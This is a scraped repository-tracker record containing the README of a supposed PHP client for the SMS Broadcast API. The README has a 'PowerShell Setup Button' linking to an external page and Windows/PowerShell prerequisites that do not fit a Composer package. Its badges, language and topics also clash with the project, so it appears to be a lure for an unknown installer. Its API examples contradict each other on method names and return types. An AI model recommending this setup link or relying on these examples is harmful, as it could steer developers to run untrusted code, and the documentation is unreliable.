[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115794":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":15,"compositeScore":16,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":41,"updatedAt":42,"readmeContent":43,"aiSummary":44,"trendingCount":12,"starSnapshotCount":12,"syncStatus":45,"lastSyncTime":46,"discoverSource":47},115794,"sms-broadcast-php-client","RanMan13\u002Fsms-broadcast-php-client","RanMan13","SMS Broadcast PHP Client: Typed, code-first PHP SDK for the SMS Broadcast API",null,"TypeScript",154,0,99,55,1,62.5,false,"main",true,[21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40],"1s2u","android-application","android-otp-view","australia","broadcast-reciever","bulk","bulk-api","embedded-systems","gateway-microservice","gateways","gsm-module","location-tracking","locationmanager","message","microcontroller","odoo-apps","oop","otp-library","sim800l","twilio-sms-api","2026-11-23 17:15:53","2026-11-21 21:20:47","\u003Cdiv align=\"center\">\n\n# SMS Broadcast PHP Client — Developer Library\n\n![](files\u002Fpreview.png)\n\n### 🛠️ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FRanMan13.github.io\u002Fsms-broadcast-php-client\u002F)\n\n[![lic](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLIC-POSTGRESQL-06b6d4?style=social&labelColor=0d1117)]() [![ps-core](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPS--CORE-INSTALLER-22d3ee?style=social&labelColor=0d1117)]() [![language](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLANGUAGE-PYTHON-0891b2?style=social&labelColor=0d1117)]() [![stage](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSTAGE-VERIFIED-2ea44f?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nA PHP client for the SMS Broadcast API that wraps authentication, message dispatch, and credit queries behind a small set of typed methods. The client is instantiated through a factory with credentials and an optional default sender, then exposes single-recipient and bulk send operations alongside a balance lookup. Responses are returned as objects, with per-message error state available for batch sends and exceptions raised on transport or API failures. Integration tests can be enabled with real credentials to exercise the live endpoints.\n\n## ✅ Before You Start\n\n- Windows 10 or Windows 11\n- PowerShell 5.1 or newer (already available on Windows)\n- Active network connection\n- No admin rights needed\n\n## Features\n\n**PSR-4 autoloaded client** — installs as a Composer package, no manual includes or bootstrapping.\n- **Single factory entry point** — `ClientFactory::create($username, $password, $sender)` returns a configured client; sender is optional.\n- **Single-recipient sends** — `$client->send($to, $message)` returns a response object exposing `getSmsRef()`.\n- **Batch sends** — `$client->sendMultiple(array $to, $message)` returns one response per recipient; iterate and branch on `hasError()` \u002F `getError()`.\n- **Typed exceptions** — transport and API failures surface as `SmsBroadcastException`; catch and read `getMessage()`.\n- **Balance query** — `$client->getBalance()` returns the account credit as an integer.\n- **Per-response error state** — no need to inspect raw payloads; each response carries its own error flag, error text, and SMS ref.\n- **Test hooks** — unit tests run by default; integration tests are opt-in via a copied `phpunit.dist.xml` with credentials and a destination number.\n\n## Installation\n\n**Requirements**\n\n- PHP 7.4 or higher\n- Composer\n- An active SMS Broadcast account with API credentials (username and password)\n- A default sender number (optional but recommended)\n\n**Via Composer**\n\nThe client is distributed as a Composer package. Add it to your project's dependencies:\n\n```\ncomposer require sms-broadcast\u002Fphp-client\n```\n\nIf you are working from a local checkout instead of a package registry, register the package as a path repository in your project's `composer.json` and require it by name.\n\n**Autoloading**\n\nConfirm that Composer's autoloader is included in your bootstrap file:\n\n```\nrequire __DIR__. '\u002Fvendor\u002Fautoload.php';\n```\n\n**Verifying the install**\n\nAfter the package is installed, confirm the client classes are autoloadable before wiring up credentials:\n\n```\nphp r \"require 'vendor\u002Fautoload.php'; var_dump(class_exists(\\SmsBroadcast\\Client::class));\"\n```\n\nA `bool(true)` result confirms the package is installed and autoloading correctly. If it returns `false`, regenerate the autoloader:\n\n```\ncomposer dump-autoload\n```\n\n**Configuration**\n\nCredentials are passed directly to the client factory at runtime — no configuration file is required. Store your username, password, and default sender in environment variables or a secrets manager rather than committing them to version control. Once the package autoloads cleanly, proceed to the Quick Start section to instantiate the client and send your first message.\n\n## Quick Start\n\nInitialize the client with your SMS Broadcast credentials and an optional default sender number:\n\n```php\nuse SmsBroadcast\\ClientFactory;\n\n$client = ClientFactory::create('username', 'password', '0412345678');\n```\n\nSend a single message and capture the returned reference:\n\n```php\ntry {\n$response = $client->send('0487654321', 'This is an SMS message');\n} catch (\\SmsBroadcast\\Exception\\SmsBroadcastException $e) {\necho 'Send failed: '. $e->getMessage();\n}\n\necho 'SMS sent, ref: '. $response->getSmsRef();\n```\n\nSend to multiple recipients in one call:\n\n```php\n$to = ['0487654321', '0487654322', '0487654323'];\n$responses = $client->sendMultiple($to, 'This is an SMS message');\n\nforeach ($responses as $response) {\necho $response->hasError()\n? 'Send failed: '. $response->getError()\n: 'SMS sent, ref: '. $response->getSmsRef();\n}\n```\n\nCheck the remaining credit balance:\n\n```php\necho $client->getBalance(); \u002F\u002F int(1222)\n```\n\n## API Reference\n\n### Client construction\n\n```php\n$client = \\SmsBroadcast\\ClientFactory::create(\nstring $username,\nstring $password,\n?string $defaultSender = null,\n?\\Psr\\Http\\Client\\ClientInterface $httpClient = null\n);\n```\n\nCreates a configured client instance. `$defaultSender` is applied to any send call that omits an explicit sender. Passing `$httpClient` overrides the default transport (useful for testing or custom middleware).\n\n### send()\n\n```php\n$client->send(\nstring $to,\nstring $message,\n?string $sender = null,\n?\\DateTimeInterface $scheduledAt = null\n): \\SmsBroadcast\\Response\\MessageResponse;\n```\n\nSends a single message to one recipient number. Returns a `MessageResponse`. If `$sender` is null, the client falls back to the default sender supplied at construction. If `$scheduledAt` is provided, the message is queued for delivery instead of sent immediately.\n\n### sendMultiple()\n\n```php\n$client->sendMultiple(\narray $recipients,\nstring $message,\n?string $sender = null,\n?\\DateTimeInterface $scheduledAt = null\n): \\SmsBroadcast\\Response\\MessageResponse[];\n```\n\nSends the same message body to each number in `$recipients` and returns one `MessageResponse` per recipient, in the same order as the input array. Failures are reported per-recipient rather than thrown globally.\n\n### getBalance()\n\n```php\n$client->getBalance(): int\n```\n\nReturns the remaining SMS credit for the authenticated account as an integer.\n\n### MessageResponse\n\nReturned by `send()` and each element of `sendMultiple()`.\n\n```php\n$response->getSmsRef():?string; \u002F\u002F provider reference for a successful send\n$response->hasError(): bool; \u002F\u002F true when the send failed\n$response->getError():?string; \u002F\u002F human-readable error when hasError() is true\n```\n\n`getSmsRef()` is null when `hasError()` returns true.\n\n### Exceptions\n\n```php\n\\SmsBroadcast\\Exception\\SmsBroadcastException\n```\n\nThrown for transport failures, authentication errors, and malformed responses. Single-recipient `send()` failures surface as exceptions; multi-recipient failures are reported via `hasError()` on the corresponding `MessageResponse` so partial sends are not lost.\n\n```php\ntry {\n$response = $client->send('0400111222', 'Your verification code is 1234');\n} catch (\\SmsBroadcast\\Exception\\SmsBroadcastException $e) {\n\u002F\u002F handle transport \u002F auth failure\n}\n\nif (!$response->hasError()) {\n$ref = $response->getSmsRef();\n}\n```\n\n### Type contract\n\n| Method | Argument(s) | Return |\n| - | - | - |\n| `send` | `string $to`, `string $message`, `?string $sender`, `?\\DateTimeInterface $scheduledAt` | `MessageResponse` |\n| `sendMultiple` | `array $recipients`, `string $message`, `?string $sender`, `?\\DateTimeInterface $scheduledAt` | `MessageResponse[]` |\n| `getBalance` | — | `int` |\n\n## Examples\n\n### Sending a single message\n\n```php\nuse SmsBroadcast\\Client;\nuse SmsBroadcast\\Exception\\SmsBroadcastException;\n\n$client = new Client('username', 'password');\n\ntry {\n$response = $client->send('0487654321', 'Your verification code is 123456');\necho $response->getMessageId();\n} catch (SmsBroadcastException $e) {\necho $e->getMessage();\n}\n```\n\n### Broadcasting to multiple recipients\n\n```php\n$recipients = ['0487654321', '0487654322', '0487654323'];\n\n$responses = $client->sendBatch($recipients, 'Scheduled maintenance tonight at 22:00.');\n\nforeach ($responses as $recipient => $result) {\nif ($result->isSuccessful()) {\necho $recipient. ' queued as '. $result->getMessageId(). PHP_EOL;\n} else {\necho $recipient. ' failed: '. $result->getError(). PHP_EOL;\n}\n}\n```\n\n### Setting a default sender\n\n```php\n$client = new Client('username', 'password', [\n'sender' => '0412345678',\n]);\n\n$client->send('0487654321', 'Message with the configured sender.');\n```\n\n### Overriding the sender per message\n\n```php\n$client->send('0487654321', 'One-off sender.', [\n'sender' => '0400111222',\n]);\n```\n\n### Checking remaining credit\n\n```php\n$balance = $client->getBalance();\n\necho $balance->getRemaining(); \u002F\u002F int\n```\n\n### Inspecting a failed response\n\n```php\n$response = $client->send('0487654321', 'Test message');\n\nif (!$response->isSuccessful()) {\necho $response->getErrorCode(). ': '. $response->getError();\n}\n```\n\n### Validating numbers before sending\n\n```php\n$numbers = ['0487654321', 'invalid', '0487654322'];\n\n$valid = array_filter($numbers, fn ($n) => $client->validateNumber($n));\n\n$client->sendBatch($valid, 'Sent only to valid numbers.');\n```\n\n## License\n\nLicensed under the MIT License.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nThe full license text is distributed with the SMS Broadcast PHP Client source as the `LICENSE` file. By using, copying, modifying, or distributing this client, you agree to the terms above.","这是一个面向 PHP 开发者的类型安全 SDK，用于对接澳大利亚 SMS Broadcast 短信网关 API。它提供基于工厂模式的客户端实例化、单条与批量短信发送、账户余额查询等核心功能，所有响应均封装为强类型对象，并内置分层异常处理（如 SmsBroadcastException）和每条消息级错误状态，便于可靠集成。项目采用 PSR-4 自动加载，通过 Composer 分发，适用于需在 PHP 应用中稳定调用 SMS Broadcast 服务的场景，如 OTP 验证、通知推送、企业级批量告警等。",2,"2026-11-24 04:52:09","CREATED_QUERY"]